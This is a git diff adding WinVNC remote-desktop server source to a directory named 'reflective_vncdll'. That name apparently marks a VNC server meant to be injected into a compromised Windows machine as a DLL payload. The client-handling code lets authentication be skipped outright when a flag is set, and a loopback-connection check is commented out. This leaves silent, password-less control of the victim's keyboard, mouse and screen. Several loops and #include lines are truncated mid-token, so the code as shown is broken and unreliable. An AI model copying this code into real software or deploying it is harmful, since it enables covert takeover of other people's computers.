+ + if (!m_socket->SendExact((char *)&auth_val, sizeof(auth_val))) + return FALSE; + if (!m_socket->SendExact((char *)&errlen, sizeof(errlen))) + return FALSE; + m_socket->SendExact(errmsg, strlen(errmsg)); + + return FALSE; + } + */ + + // By default we filter out local loop connections, because they're pointless +/* + * if (!m_server->LoopbackOk()) + { + char *localname = strdup(m_socket->GetSockName()); + char *remotename = strdup(m_socket->GetPeerName()); + + // Check that the local & remote names are different! + if ((localname != NULL) && (remotename != NULL)) + { + BOOL ok = strcmp(localname, remotename) != 0; + + if (localname != NULL) + free(localname); + + if (remotename != NULL) + free(remotename); + + if (!ok) + { + //vnclog.Print(LL_CONNERR, VNCLOG("loopback connection attempted - client rejected\n")); + + // Send an error message to the client + CARD32 auth_val = Swap32IfLE(rfbConnFailed); + char *errmsg = "Local loop-back connections are disabled."; + CARD32 errlen = Swap32IfLE(strlen(errmsg)); + + if (!m_socket->SendExact((char *)&auth_val, sizeof(auth_val))) + return FALSE; + if (!m_socket->SendExact((char *)&errlen, sizeof(errlen))) + return FALSE; + m_socket->SendExact(errmsg, strlen(errmsg)); + + return FALSE; + } + } + } +*/ + + // Authenticate the connection, if required + if (m_auth || (strlen(plain) == 0)) + { + // Send no-auth-required message + CARD32 auth_val = Swap32IfLE(rfbNoAuth); + if (!m_socket->SendExact((char *)&auth_val, sizeof(auth_val))) + return FALSE; + } + else + { + // Send auth-required message + CARD32 auth_val = Swap32IfLE(rfbVncAuth); + if (!m_socket->SendExact((char *)&auth_val, sizeof(auth_val))) + return FALSE; + + BOOL auth_ok = TRUE; + { + // Now create a 16-byte challenge + char challenge[16]; + vncRandomBytes((BYTE *)&challenge); + + // Send the challenge to the client + if (!m_socket->SendExact(challenge, sizeof(challenge))) + return FALSE; + + // Read the response + char response[16]; + if (!m_socket->ReadExact(response, sizeof(response)))\ + return FALSE; + + // Encrypt the challenge bytes + vncEncryptBytes((BYTE *)&challenge, plain); + + // Compare them to the response + for (int i=0; iSendExact((char *)&authmsg, sizeof(authmsg)); + return FALSE; + } + else + { + // Tell the client we're ok + authmsg = Swap32IfLE(rfbVncAuthOK); + if (!m_socket->SendExact((char *)&authmsg, sizeof(authmsg))) + return FALSE; + } + } + + // Read the client's initialisation message + rfbClientInitMsg client_ini; + if (!m_socket->ReadExact((char *)&client_ini, sz_rfbClientInitMsg)) + return FALSE; + + // If the client wishes to have exclusive access then remove other clients + if (!client_ini.shared && !m_shared) + { + // Which client takes priority, existing or incoming? + if (m_server->ConnectPriority() < 1) + { + // Incoming + //vnclog.Print(LL_INTINFO, VNCLOG("non-shared connection - disconnecting old clients\n")); + m_server->KillAuthClients(); + } else if (m_server->ConnectPriority() > 1) + { + // Existing + if (m_server->AuthClientCount() > 0) + { + //vnclog.Print(LL_CLIENTS, VNCLOG("connections already exist - client rejected\n")); + return FALSE; + } + } + } + + // Tell the server that this client is ok + return m_server->Authenticated(m_client->GetClientId()); +} + +void +ClearKeyState(BYTE key) +{ + // This routine is used by the VNC client handler to clear the + // CAPSLOCK, NUMLOCK and SCROLL-LOCK states. + + BYTE keyState[256]; + + GetKeyboardState((LPBYTE)&keyState); + + if(keyState[key] & 1) + { + // Simulate the key being pressed + keybd_event(key, 0, KEYEVENTF_EXTENDEDKEY, 0); + + // Simulate it being release + keybd_event(key, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); + } +} + +void +vncClientThread::run(void *arg) +{ + // All this thread does is go into a socket-recieve loop, + // waiting for stuff on the given socket + + // IMPORTANT : ALWAYS call RemoveClient on the server before quitting + // this thread. + + //vnclog.Print(LL_CLIENTS, VNCLOG("client connected : %s (%hd)\n"), + // m_client->GetClientName(), + // m_client->GetClientId()); + + // Save the handle to the thread's original desktop + HDESK home_desktop = GetThreadDesktop(GetCurrentThreadId()); + + // To avoid people connecting and then halting the connection, set a timeout + m_socket->SetTimeout(30000); + //if (!m_socket->SetTimeout(30000)) + //vnclog.Print(LL_INTERR, VNCLOG("failed to set socket timeout(%d)\n"), GetLastError()); + + // Initially blacklist the client so that excess connections from it get dropped + m_server->AddAuthHostsBlacklist(m_client->GetClientName()); + + // LOCK INITIAL SETUP + // All clients have the m_protocol_ready flag set to FALSE initially, to prevent + // updates and suchlike interfering with the initial protocol negotiations. + + // GET PROTOCOL VERSION + if (!InitVersion()) + { + m_server->RemoveClient(m_client->GetClientId()); + return; + } + //vnclog.Print(LL_INTINFO, VNCLOG("negotiated version\n")); + + // AUTHENTICATE LINK + if (!InitAuthenticate()) + { + m_server->RemoveClient(m_client->GetClientId()); + return; + } + + // Authenticated OK - remove from blacklist and remove timeout + m_server->RemAuthHostsBlacklist(m_client->GetClientName()); + m_socket->SetTimeout(m_server->AutoIdleDisconnectTimeout()*1000); + //vnclog.Print(LL_INTINFO, VNCLOG("authenticated connection\n")); + + // INIT PIXEL FORMAT + + // Get the screen format + m_client->m_fullscreen = m_client->m_encodemgr.GetSize(); + + + char desktopname[MAX_COMPUTERNAME_LENGTH+256+32+1]; + + // Get our current user name + char uid[256]; + DWORD uidsz = sizeof(uid); + GetUserName(uid, &uidsz); + + // Get the name of this system + DWORD sysnamelen = MAX_COMPUTERNAME_LENGTH + 1; + char sysname[MAX_COMPUTERNAME_LENGTH+1]; + GetComputerName(sysname, &sysnamelen); + + // Do we have write access to the desktop? Easy test... + DWORD dummy; + char name_win[256]; + HWINSTA os = GetProcessWindowStation(); + GetUserObjectInformation(os, UOI_NAME, &name_win, 256, &dummy); + + int x; + char *access = "Full Access"; + for (x=0; xm_encodemgr.m_buffer->GetLocalFormat(); + + // Endian swaps + server_ini.framebufferWidth = Swap16IfLE(m_client->m_fullscreen.br.x); + server_ini.framebufferHeight = Swap16IfLE(m_client->m_fullscreen.br.y); + server_ini.format.redMax = Swap16IfLE(server_ini.format.redMax); + server_ini.format.greenMax = Swap16IfLE(server_ini.format.greenMax); + server_ini.format.blueMax = Swap16IfLE(server_ini.format.blueMax); + + server_ini.nameLength = Swap32IfLE(strlen(desktopname)); + if (!m_socket->SendExact((char *)&server_ini, sizeof(server_ini))) + { + m_server->RemoveClient(m_client->GetClientId()); + return; + } + if (!m_socket->SendExact(desktopname, strlen(desktopname))) + { + m_server->RemoveClient(m_client->GetClientId()); + return; + } + //vnclog.Print(LL_INTINFO, VNCLOG("sent pixel format to client\n")); + + // UNLOCK INITIAL SETUP + // Initial negotiation is complete, so set the protocol ready flag + m_client->EnableProtocol(); + + // Add a fullscreen update to the client's update list + { omni_mutex_lock l(m_client->GetUpdateLock()); + m_client->m_update_tracker.add_changed(m_client->m_fullscreen); + } + + // Clear the CapsLock and NumLock keys + if (m_client->m_keyboardenabled) + { + ClearKeyState(VK_CAPITAL); + // *** JNW - removed because people complain it's wrong + //ClearKeyState(VK_NUMLOCK); + ClearKeyState(VK_SCROLL); + } + + // MAIN LOOP + + // Set the input thread to a high priority + set_priority(omni_thread::PRIORITY_HIGH); + + BOOL connected = TRUE; + while (connected) + { + rfbClientToServerMsg msg; + + // Ensure that we're running in the correct desktop + if (!vncService::InputDesktopSelected()) + if (!vncService::SelectDesktop(NULL)) + break; + + // Try to read a message ID + if (!m_socket->ReadExact((char *)&msg.type, sizeof(msg.type))) + { + connected = FALSE; + break; + } + + // What to do is determined by the message id + switch(msg.type) + { + + case rfbSetPixelFormat: + // Read the rest of the message: + if (!m_socket->ReadExact(((char *) &msg)+1, sz_rfbSetPixelFormatMsg-1)) + { + connected = FALSE; + break; + } + + // Swap the relevant bits. + msg.spf.format.redMax = Swap16IfLE(msg.spf.format.redMax); + msg.spf.format.greenMax = Swap16IfLE(msg.spf.format.greenMax); + msg.spf.format.blueMax = Swap16IfLE(msg.spf.format.blueMax); + + // Prevent updates while the pixel format is changed + m_client->DisableProtocol(); + + // Tell the buffer object of the change + if (!m_client->m_encodemgr.SetClientFormat(msg.spf.format)) + { + //vnclog.Print(LL_CONNERR, VNCLOG("remote pixel format invalid\n")); + + connected = FALSE; + } + + // Set the palette-changed flag, just in case... + m_client->m_palettechanged = TRUE; + + // Re-enable updates + m_client->EnableProtocol(); + + break; + + case rfbSetEncodings: + // Read the rest of the message: + if (!m_socket->ReadExact(((char *) &msg)+1, sz_rfbSetEncodingsMsg-1)) + { + connected = FALSE; + break; + } + + // Prevent updates while the encoder is changed + m_client->DisableProtocol(); + + // Read in the preferred encodings + msg.se.nEncodings = Swap16IfLE(msg.se.nEncodings); + { + int x; + BOOL encoding_set = FALSE; + + // By default, don't use copyrect! + m_client->m_update_tracker.enable_copyrect(false); + + for (x=0; xReadExact((char *)&encoding, sizeof(encoding))) + { + connected = FALSE; + break; + } + + // Is this the CopyRect encoding (a special case)? + if (Swap32IfLE(encoding) == rfbEncodingCopyRect) + { + m_client->m_update_tracker.enable_copyrect(true); + continue; + } + + // Have we already found a suitable encoding? + if (!encoding_set) + { + // No, so try the buffer to see if this encoding will work... + if (m_client->m_encodemgr.SetEncoding(Swap32IfLE(encoding))) + encoding_set = TRUE; + } + } + + // If no encoding worked then default to RAW! + if (!encoding_set) + { + //vnclog.Print(LL_INTINFO, VNCLOG("defaulting to raw encoder\n")); + + if (!m_client->m_encodemgr.SetEncoding(Swap32IfLE(rfbEncodingRaw))) + { + //vnclog.Print(LL_INTERR, VNCLOG("failed to select raw encoder!\n")); + + connected = FALSE; + } + } + } + + // Re-enable updates + m_client->EnableProtocol(); + + break; + + case rfbFramebufferUpdateRequest: + // Read the rest of the message: + if (!m_socket->ReadExact(((char *) &msg)+1, sz_rfbFramebufferUpdateRequestMsg-1)) + { + connected = FALSE; + break; + } + + { + rfb::Rect update; + + // Get the specified rectangle as the region to send updates for. + update.tl.x = Swap16IfLE(msg.fur.x); + update.tl.y = Swap16IfLE(msg.fur.y); + update.br.x = update.tl.x + Swap16IfLE(msg.fur.w); + update.br.y = update.tl.y + Swap16IfLE(msg.fur.h); + rfb::Region2D update_rgn = update; + if (update_rgn.is_empty()) { + //vnclog.Print(LL_INTERR, VNCLOG("FATAL! client update region is empty!\n")); + connected = FALSE; + break; + } + + { omni_mutex_lock l(m_client->GetUpdateLock()); + + // Add the requested area to the incremental update cliprect + m_client->m_incr_rgn = m_client->m_incr_rgn.union_(update_rgn); + + // Is this request for a full update? + if (!msg.fur.incremental) + { + // Yes, so add the region to the update tracker + m_client->m_update_tracker.add_changed(update_rgn); + + // Tell the desktop grabber to fetch the region's latest state + m_client->m_encodemgr.m_buffer->m_desktop->QueueRect(update); + } + + // Kick the update thread (and create it if not there already) + m_client->TriggerUpdateThread(); + } + } + break; + + case rfbKeyEvent: + // Read the rest of the message: + if (m_socket->ReadExact(((char *) &msg)+1, sz_rfbKeyEventMsg-1)) + { + if (m_client->m_keyboardenabled) + { + msg.ke.key = Swap32IfLE(msg.ke.key); + + // Get the keymapper to do the work + vncKeymap::keyEvent(msg.ke.key, msg.ke.down); + + m_client->m_remoteevent = TRUE; + } + } + break; + + case rfbPointerEvent: + // Read the rest of the message: + if (m_socket->ReadExact(((char *) &msg)+1, sz_rfbPointerEventMsg-1)) + { + if (m_client->m_pointerenabled) + { + // Convert the coords to Big Endian + msg.pe.x = Swap16IfLE(msg.pe.x); + msg.pe.y = Swap16IfLE(msg.pe.y); + + // Work out the flags for this event + DWORD flags = MOUSEEVENTF_ABSOLUTE; + long data = 0; + if (msg.pe.x != m_client->m_ptrevent.x || + msg.pe.y != m_client->m_ptrevent.y) + flags |= MOUSEEVENTF_MOVE; + if ( (msg.pe.buttonMask & rfbButton1Mask) != + (m_client->m_ptrevent.buttonMask & rfbButton1Mask) ) + { + if (GetSystemMetrics(SM_SWAPBUTTON)) + flags |= (msg.pe.buttonMask & rfbButton1Mask) + ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP; + else + flags |= (msg.pe.buttonMask & rfbButton1Mask) + ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP; + } + if ( (msg.pe.buttonMask & rfbButton2Mask) != + (m_client->m_ptrevent.buttonMask & rfbButton2Mask) ) + { + flags |= (msg.pe.buttonMask & rfbButton2Mask) + ? MOUSEEVENTF_MIDDLEDOWN : MOUSEEVENTF_MIDDLEUP; + } + if ( (msg.pe.buttonMask & rfbButton3Mask) != + (m_client->m_ptrevent.buttonMask & rfbButton3Mask) ) + { + if (GetSystemMetrics(SM_SWAPBUTTON)) + flags |= (msg.pe.buttonMask & rfbButton3Mask) + ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP; + else + flags |= (msg.pe.buttonMask & rfbButton3Mask) + ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP; + } + + // Mouse wheel support + if (msg.pe.buttonMask & rfbWheelUpMask) { + flags |= MOUSEEVENTF_WHEEL; + data = WHEEL_DELTA; + } + if (msg.pe.buttonMask & rfbWheelDownMask) { + flags |= MOUSEEVENTF_WHEEL; + data = -WHEEL_DELTA; + } + + // Generate coordinate values + unsigned long x = (msg.pe.x * 65535) / (m_client->m_fullscreen.br.x); + unsigned long y = (msg.pe.y * 65535) / (m_client->m_fullscreen.br.y); + + // Do the pointer event + ::mouse_event(flags, (DWORD) x, (DWORD) y, data, 0); + + // Save the old position + m_client->m_ptrevent = msg.pe; + + // Flag that a remote event occurred + m_client->m_remoteevent = TRUE; + + // Tell the desktop hook system to grab the screen... + m_client->m_encodemgr.m_buffer->m_desktop->TriggerUpdate(); + } + } + + break; + + case rfbClientCutText: + // Read the rest of the message: + if (m_socket->ReadExact(((char *) &msg)+1, sz_rfbClientCutTextMsg-1)) + { + // Allocate storage for the text + const UINT length = Swap32IfLE(msg.cct.length); + char *text = new char [length+1]; + if (text == NULL) + break; + text[length] = 0; + + // Read in the text + if (!m_socket->ReadExact(text, length)) { + delete [] text; + break; + } + + // Get the server to update the local clipboard + m_server->UpdateLocalClipText(text); + + // Free the clip text we read + delete [] text; + } + break; + + default: + // Unknown message, so fail! + connected = FALSE; + } + } + + // Move into the thread's original desktop + vncService::SelectHDESK(home_desktop); + + // Quit this thread. This will automatically delete the thread and the + // associated client. + //vnclog.Print(LL_CLIENTS, VNCLOG("client disconnected : %s (%hd)\n"), + // m_client->GetClientName(), + // m_client->GetClientId()); + + + // Disable the protocol to ensure that the update thread + // is not accessing the desktop and buffer objects + m_client->DisableProtocol(); + + // Finally, it's safe to kill the update thread here + if (m_client->m_updatethread) { + m_client->m_updatethread->Kill(); + m_client->m_updatethread->join(NULL); + } + + // Remove the client from the server + // This may result in the desktop and buffer being destroyed + // It also guarantees that the client will not be passed further + // updates + m_server->RemoveClient(m_client->GetClientId()); + +} + +// The vncClient itself + +vncClient::vncClient() +{ + //vnclog.Print(LL_INTINFO, VNCLOG("vncClient() executing...\n")); + + m_socket = NULL; + m_client_name = 0; + + // Initialise mouse fields + m_mousemoved = FALSE; + m_ptrevent.buttonMask = 0; + m_ptrevent.x = 0; + m_ptrevent.y=0; + + // Other misc flags + m_thread = NULL; + m_palettechanged = FALSE; + + // Initialise the two update stores + m_updatethread = NULL; + m_update_tracker.init(this); + + m_remoteevent = FALSE; + + m_clipboard_text = 0; + + // IMPORTANT: Initially, client is not protocol-ready. + m_disable_protocol = 1; +} + +vncClient::~vncClient() +{ + //vnclog.Print(LL_INTINFO, VNCLOG("~vncClient() executing...\n")); + + // We now know the thread is dead, so we can clean up + if (m_client_name != 0) { + free(m_client_name); + m_client_name = 0; + } + + // If we have a socket then kill it + if (m_socket != NULL) + { + //vnclog.Print(LL_INTINFO, VNCLOG("deleting socket\n")); + + delete m_socket; + m_socket = NULL; + } +} + +// Init +BOOL +vncClient::Init(vncServer *server, + VSocket *socket, + BOOL auth, + BOOL shared, + vncClientId newid) +{ + // Save the server id; + m_server = server; + + // Save the socket + m_socket = socket; + + // Save the name of the connecting client + char *name = m_socket->GetPeerName(); + if (name != 0) + m_client_name = strdup(name); + else + m_client_name = strdup(""); + + // Save the client id + m_id = newid; + + // Spawn the child thread here + m_thread = new vncClientThread; + if (m_thread == NULL) + return FALSE; + return ((vncClientThread *)m_thread)->Init(this, m_server, m_socket, auth, shared); + + return FALSE; +} + +void +vncClient::Kill() +{ + // Close the socket + //vnclog.Print(LL_INTERR, VNCLOG("client Kill() called")); + if (m_socket != NULL) + m_socket->Close(); +} + +// Client manipulation functions for use by the server +void +vncClient::SetBuffer(vncBuffer *buffer) +{ + // Until authenticated, the client object has no access + // to the screen buffer. This means that there only need + // be a buffer when there's at least one authenticated client. + m_encodemgr.SetBuffer(buffer); +} + +void +vncClient::TriggerUpdateThread() +{ + // ALWAYS lock the client UpdateLock before calling this! + + // Check that this client has an update thread + // The update thread never dissappears, and this is the only + // thread allowed to create it, so this can be done without locking. + + if (!m_updatethread) + { + m_updatethread = new vncClientUpdateThread; + if (!m_updatethread || + !m_updatethread->Init(this)) { + Kill(); + } + } + if (m_updatethread) + m_updatethread->Trigger(); +} + +void +vncClient::UpdateMouse() +{ + // Flag that the mouse has moved + omni_mutex_lock l(GetUpdateLock()); + m_mousemoved=TRUE; +} + +void +vncClient::UpdateClipText(const char* text) +{ + omni_mutex_lock l(GetUpdateLock()); + if (m_clipboard_text) { + free(m_clipboard_text); + m_clipboard_text = 0; + } + m_clipboard_text = strdup(text); + TriggerUpdateThread(); +} + +void +vncClient::UpdatePalette() +{ + omni_mutex_lock l(GetUpdateLock()); + m_palettechanged = TRUE; +} + +void +vncClient::UpdateLocalFormat() +{ + DisableProtocol(); + //vnclog.Print(LL_INTERR, VNCLOG("updating local pixel format\n")); + m_encodemgr.SetServerFormat(); + EnableProtocol(); +} + +// Functions used to set and retrieve the client settings +const char* +vncClient::GetClientName() +{ + return m_client_name; +} + +// Enabling and disabling clipboard/GFX updates +void +vncClient::DisableProtocol() +{ + BOOL disable = FALSE; + { omni_mutex_lock l(GetUpdateLock()); + if (m_disable_protocol == 0) + disable = TRUE; + m_disable_protocol++; + if (disable && m_updatethread) + m_updatethread->EnableUpdates(FALSE); + } +} + +void +vncClient::EnableProtocol() +{ + { omni_mutex_lock l(GetUpdateLock()); + if (m_disable_protocol == 0) { + //vnclog.Print(LL_INTERR, VNCLOG("protocol enabled too many times!\n")); + m_socket->Close(); + return; + } + m_disable_protocol--; + if ((m_disable_protocol == 0) && m_updatethread) + m_updatethread->EnableUpdates(TRUE); + } +} + +// Internal methods +BOOL +vncClient::SendRFBMsg(CARD8 type, BYTE *buffer, int buflen) +{ + // Set the message type + ((rfbServerToClientMsg *)buffer)->type = type; + + // Send the message + if (!m_socket->SendExact((char *) buffer, buflen)) + { + //vnclog.Print(LL_CONNERR, VNCLOG("failed to send RFB message to client\n")); + + Kill(); + return FALSE; + } + return TRUE; +} + +BOOL +vncClient::SendUpdate(rfb::SimpleUpdateTracker &update) +{ + // If there is nothing to send then exit + if (update.is_empty()) { + //vnclog.Print(LL_INTERR, "no data to send\n"); + return FALSE; + } + + // Get the update info from the tracker + rfb::UpdateInfo update_info; + update.get_update(update_info); + update.clear(); + + // Find out how many rectangles in total will be updated + // This includes copyrects and changed rectangles split + // up by codings such as CoRRE. + + int updates = 0; + updates += update_info.copied.size(); + rfb::RectVector::const_iterator i; + for (i=update_info.changed.begin(); i != update_info.changed.end(); i++) { + updates += m_encodemgr.GetNumCodedRects(*i); + } + + // If there are no updates then return + if (updates == 0) { + //vnclog.Print(LL_INTERR, "no data to send2\n"); + return FALSE; + } + + // Otherwise, send header + rfbFramebufferUpdateMsg header; + header.nRects = Swap16IfLE(updates); + if (!SendRFBMsg(rfbFramebufferUpdate, (BYTE *) &header, sz_rfbFramebufferUpdateMsg)) + return FALSE; + + // Send the copyrect rectangles + if (!update_info.copied.empty()) { + rfb::Point to_src_delta = update_info.copy_delta.negate(); + for (i=update_info.copied.begin(); i!=update_info.copied.end(); i++) { + rfb::Point src = (*i).tl.translate(to_src_delta); + if (!SendCopyRect(*i, src)) + return FALSE; + } + } + + // Encode & send the actual rectangles + if (!SendRectangles(update_info.changed)) + return FALSE; + + return TRUE; +} + +// Send a set of rectangles +BOOL +vncClient::SendRectangles(const rfb::RectVector &rects) +{ + rfb::Rect rect; + rfb::RectVector::const_iterator i; + + // Work through the list of rectangles, sending each one + for (i=rects.begin();i!=rects.end();i++) { + if (!SendRectangle(*i)) + return FALSE; + } + + return TRUE; +} + +// Tell the encoder to send a single rectangle +BOOL +vncClient::SendRectangle(const rfb::Rect &rect) +{ + // Get the buffer to encode the rectangle + UINT bytes = m_encodemgr.EncodeRect(rect); + + // If the data could not be encoded then bytes is zero + if (bytes == 0) return FALSE; + + // Send the encoded data + return m_socket->SendExact((char *)(m_encodemgr.GetClientBuffer()), bytes); +} + +// Send a single CopyRect message +BOOL +vncClient::SendCopyRect(const rfb::Rect &dest, const rfb::Point &source) +{ + // Create the message header + rfbFramebufferUpdateRectHeader copyrecthdr; + copyrecthdr.r.x = Swap16IfLE(dest.tl.x); + copyrecthdr.r.y = Swap16IfLE(dest.tl.y); + copyrecthdr.r.w = Swap16IfLE(dest.br.x-dest.tl.x); + copyrecthdr.r.h = Swap16IfLE(dest.br.y-dest.tl.y); + copyrecthdr.encoding = Swap32IfLE(rfbEncodingCopyRect); + + // Create the CopyRect-specific section + rfbCopyRect copyrectbody; + copyrectbody.srcX = Swap16IfLE(source.x); + copyrectbody.srcY = Swap16IfLE(source.y); + + // Now send the message; + if (!m_socket->SendExact((char *)©recthdr, sizeof(copyrecthdr))) + return FALSE; + if (!m_socket->SendExact((char *)©rectbody, sizeof(copyrectbody))) + return FALSE; + + return TRUE; +} + +// Send the encoder-generated palette to the client +// This function only returns FALSE if the SendExact fails - any other +// error is coped with internally... +BOOL +vncClient::SendPalette() +{ + rfbSetColourMapEntriesMsg setcmap; + RGBQUAD *rgbquad; + UINT ncolours = 256; + + // Reserve space for the colour data + rgbquad = new RGBQUAD[ncolours]; + if (rgbquad == NULL) + return TRUE; + + // Get the data + if (!m_encodemgr.GetPalette(rgbquad, ncolours)) + { + delete [] rgbquad; + return TRUE; + } + + // Compose the message + setcmap.type = rfbSetColourMapEntries; + setcmap.firstColour = Swap16IfLE(0); + setcmap.nColours = Swap16IfLE(ncolours); + + if (!m_socket->SendExact((char *) &setcmap, sz_rfbSetColourMapEntriesMsg)) + { + delete [] rgbquad; + return FALSE; + } + + // Now send the actual colour data... + for (int i=0; iSendExact((char *) &pixeldata, sizeof(pixeldata))) + { + delete [] rgbquad; + return FALSE; + } + } + + // Delete the rgbquad data + delete [] rgbquad; + + return TRUE; +} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncclient.h b/external/source/reflective_vncdll/winvnc/winvnc/vncclient.h new file mode 100644 index 0000000000..b57781b04d --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncclient.h @@ -0,0 +1,252 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncClient.h + +// vncClient class handles the following functions: +// - Recieves requests from the connected client and +// handles them +// - Handles incoming updates properly, using a vncBuffer +// object to keep track of screen changes +// It uses a vncBuffer and is passed the vncDesktop and +// vncServer to communicate with. + +class vncClient; +typedef SHORT vncClientId; + +#if (!defined(_WINVNC_VNCCLIENT)) +#define _WINVNC_VNCCLIENT + +#include + +typedef std::list vncClientList; + +// Includes +#include "stdhdrs.h" +#include "VSocket.h" +#include + +// Custom +#include "vncDesktop.h" +#include "rfbRegion.h" +#include "rfbUpdateTracker.h" +#include "vncBuffer.h" +#include "vncEncodeMgr.h" + +// The vncClient class itself + +class vncClient +{ +public: + // Constructor/destructor + vncClient(); + ~vncClient(); + + // Allow the client thread to see inside the client object + friend class vncClientThread; + friend class vncClientUpdateThread; + + // Init + virtual BOOL Init(vncServer *server, + VSocket *socket, + BOOL auth, + BOOL shared, + vncClientId newid); + + // Kill + // The server uses this to close the client socket, causing the + // client thread to fail, which in turn deletes the client object + virtual void Kill(); + + // Client manipulation functions for use by the server + virtual void SetBuffer(vncBuffer *buffer); + + // Update handling functions + // These all lock the UpdateLock themselves + virtual void UpdateMouse(); + virtual void UpdateClipText(const char* text); + virtual void UpdatePalette(); + virtual void UpdateLocalFormat(); + + // Is the client waiting on an update? + // YES IFF there is an incremental update region, + // AND no changed or copied updates intersect it + virtual BOOL UpdateWanted() { + omni_mutex_lock l(GetUpdateLock()); + return !m_incr_rgn.is_empty() && + m_incr_rgn.intersect(m_update_tracker.get_changed_region()).is_empty() && + m_incr_rgn.intersect(m_update_tracker.get_copied_region()).is_empty(); + }; + + // Has the client sent an input event? + virtual BOOL RemoteEventReceived() { + BOOL result = m_remoteevent; + m_remoteevent = FALSE; + return result; + }; + + // The UpdateLock + // This must be held for a number of routines to be successfully invoked... + virtual omni_mutex& GetUpdateLock() {return m_encodemgr.GetUpdateLock();}; + + // Functions for setting & getting the client settings + virtual void SetTeleport(BOOL teleport) {m_teleport = teleport;}; + virtual void EnableKeyboard(BOOL enable) {m_keyboardenabled = enable;}; + virtual void EnablePointer(BOOL enable) {m_pointerenabled = enable;}; + virtual void SetCapability(int capability) {m_capability = capability;}; + + virtual BOOL IsTeleport() {return m_teleport;}; + virtual BOOL IsKeyboardEnabled() {return m_keyboardenabled;}; + virtual BOOL IsPointerEnabled() {return m_pointerenabled;}; + virtual int GetCapability() {return m_capability;}; + virtual const char *GetClientName(); + virtual vncClientId GetClientId() {return m_id;}; + + // Disable/enable protocol messages to the client + virtual void DisableProtocol(); + virtual void EnableProtocol(); + + // Update routines +protected: + BOOL SendUpdate(rfb::SimpleUpdateTracker &update); + BOOL SendRFBMsg(CARD8 type, BYTE *buffer, int buflen); + BOOL SendRectangles(const rfb::RectVector &rects); + BOOL SendRectangle(const rfb::Rect &rect); + BOOL SendCopyRect(const rfb::Rect &dest, const rfb::Point &source); + BOOL SendPalette(); + + void TriggerUpdateThread(); + + void PollWindow(HWND hwnd); + + // Specialised client-side UpdateTracker +protected: + + // This update tracker stores updates it receives and + // kicks the client update thread every time one is received + + class ClientUpdateTracker : public rfb::SimpleUpdateTracker { + public: + ClientUpdateTracker() : m_client(0) {}; + virtual ~ClientUpdateTracker() {}; + + void init(vncClient *client) {m_client=client;} + + // XXX Always call with GetUpdateLock() held! + virtual void add_changed(const rfb::Region2D ®ion) { + SimpleUpdateTracker::add_changed(region); + m_client->TriggerUpdateThread(); + } + virtual void add_copied(const rfb::Region2D &dest, const rfb::Point &delta) { + SimpleUpdateTracker::add_copied(dest, delta); + m_client->TriggerUpdateThread(); + } + virtual void clear() { + SimpleUpdateTracker::clear(); + } + + virtual void flush_update(rfb::UpdateInfo &info, const rfb::Region2D &cliprgn) {; + SimpleUpdateTracker::flush_update(info, cliprgn); + } + virtual void flush_update(rfb::UpdateTracker &to, const rfb::Region2D &cliprgn) {; + SimpleUpdateTracker::flush_update(to, cliprgn); + } + + virtual void get_update(rfb::UpdateInfo &info) const {; + SimpleUpdateTracker::get_update(info); + } + virtual void get_update(rfb::UpdateTracker &to) const { + SimpleUpdateTracker::get_update(to); + } + + virtual bool is_empty() { + return SimpleUpdateTracker::is_empty(); + } + protected: + vncClient *m_client; + }; + + friend class ClientUpdateTracker; + + // Make the update tracker available externally +public: + + rfb::UpdateTracker &GetUpdateTracker() {return m_update_tracker;}; + + // Internal stuffs +protected: + // Per-client settings + BOOL m_teleport; + BOOL m_keyboardenabled; + BOOL m_pointerenabled; + int m_capability; + vncClientId m_id; + + // Pixel translation & encoding handler + vncEncodeMgr m_encodemgr; + + // The server + vncServer *m_server; + + // The socket + VSocket *m_socket; + char *m_client_name; + + // The client thread + omni_thread *m_thread; + + + // Count to indicate whether updates, clipboards, etc can be sent + // to the client. If 0 then OK, otherwise not. + ULONG m_disable_protocol; + + // User input information + rfb::Rect m_oldmousepos; + BOOL m_mousemoved; + rfbPointerEventMsg m_ptrevent; + + // Update tracking structures + ClientUpdateTracker m_update_tracker; + + // Client update transmission thread + vncClientUpdateThread *m_updatethread; + + // Requested update region & requested flag + rfb::Region2D m_incr_rgn; + + // Full screen rectangle + rfb::Rect m_fullscreen; + + // When the local display is palettized, it sometimes changes... + BOOL m_palettechanged; + + // Information used in polling mode! + BOOL m_remoteevent; + + // Clipboard data + char* m_clipboard_text; +}; + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncconndialog.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncconndialog.cpp new file mode 100644 index 0000000000..d8a1a95699 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncconndialog.cpp @@ -0,0 +1,158 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the 